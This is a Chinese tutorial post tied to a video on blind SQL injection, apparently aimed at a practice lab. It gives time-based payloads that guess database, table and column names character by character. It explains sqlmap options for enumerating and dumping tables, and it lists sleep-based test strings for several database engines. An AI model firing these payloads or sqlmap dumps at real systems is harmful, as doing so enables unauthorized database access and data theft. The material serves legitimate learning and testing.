【工具】基于时间和布尔的注入原理与sqlmap的使用

简介: 进阶一下,我们看看盲注是如何操作的·。

视频地址
https://www.bilibili.com/video/bv1EG41157bM

本期视频所用到的
时间盲注:

?id=1' and if(length(database())=8,sleep(5),1) --+
\\猜测数据库名是否为8,当然我们也可以巧用<,>.而非=
\\至于字母及其他符号,可以参考ASCII将其转化为数字
?id=1' and if(substr(database(),1,1)='a',sleep(5),1) --+
\\猜测库名的第一个字母
\\至于字母及其他符号,可以参考ASCII将其转化为数字进行判断
?id=1' and if(substr((select table_name from information_schema.tables 
where table_schema='security' limit 0,1),1,1)='a',sleep(5),1) --+
\\猜测第一张表的表名的第一个字符
?id=1' and if(substr((select column_name from 
information_schema.columns where table_schema='security' 
and table_name='users' limit 0,1),1,1)='a',sleep(5),1) --+
\\猜测第一个字段名的第一个字符

sqlmap参数:

-u \\\指定链接
--technique B  \\\指定基于Boolean的盲注
--technique T  \\\指定基于时间的盲注
--dbs  \\\显示所有数据库名称
--batch \\\自动化处理
--tables \\\枚举DBMS数据库中的表
--columns \\\枚举DBMS数据库表列
-D \\\要进行枚举的指定数据库名
-T \\\要进行枚举的指定表名
-C \\\要进行枚举的指定列名
--tables \\\枚举DBMS数据库中的表
--columns \\\枚举DBMS数据库表列
--dump \\\转储数据库表项,查询字段值

盲注测试

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
目录
相关文章
|
9月前
|
SQL
注入工具 -- sqlmap(自定义检测参数)
注入工具 -- sqlmap(自定义检测参数)
96 0
|
9月前
|
存储 安全 JavaScript
XSS--概念、类型、实战--分析与详解[pikachu]
XSS--概念、类型、实战--分析与详解[pikachu]
|
9月前
注入工具 -- sqlmap(指定位置注入和优化性能)
注入工具 -- sqlmap(指定位置注入和优化性能)
146 0
|
9月前
|
安全 数据库
注入工具 -- sqlmap(枚举信息)
注入工具 -- sqlmap(枚举信息)
89 0
|
9月前
|
SQL 关系型数据库 MySQL
注入工具 -- sqlmap(注入参数)
注入工具 -- sqlmap(注入参数)
128 0
|
9月前
|
关系型数据库 MySQL 数据库
Mysql注入 -- 布尔注入
Mysql注入 -- 布尔注入
62 0
|
9月前
|
SQL
​注入工具 -- sqlmap(获取目标)
​注入工具 -- sqlmap(获取目标)
71 0
|
9月前
|
安全 Python
注入工具 -- DSSS
注入工具 -- DSSS
71 0
|
SQL 安全 关系型数据库
4 个单词,谷歌返回 16 个 SQL 注入漏洞...
一名开发者出于好奇在 Google 使用php mysql email register作为关键词进行了搜索。很显然,这是在查找如何使用 PHP 和 MySQL 实现邮箱注册的功能。
4 个单词,谷歌返回 16 个 SQL 注入漏洞...
|
SQL XML 安全
SQLMap注入工具
SQLMap 是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令。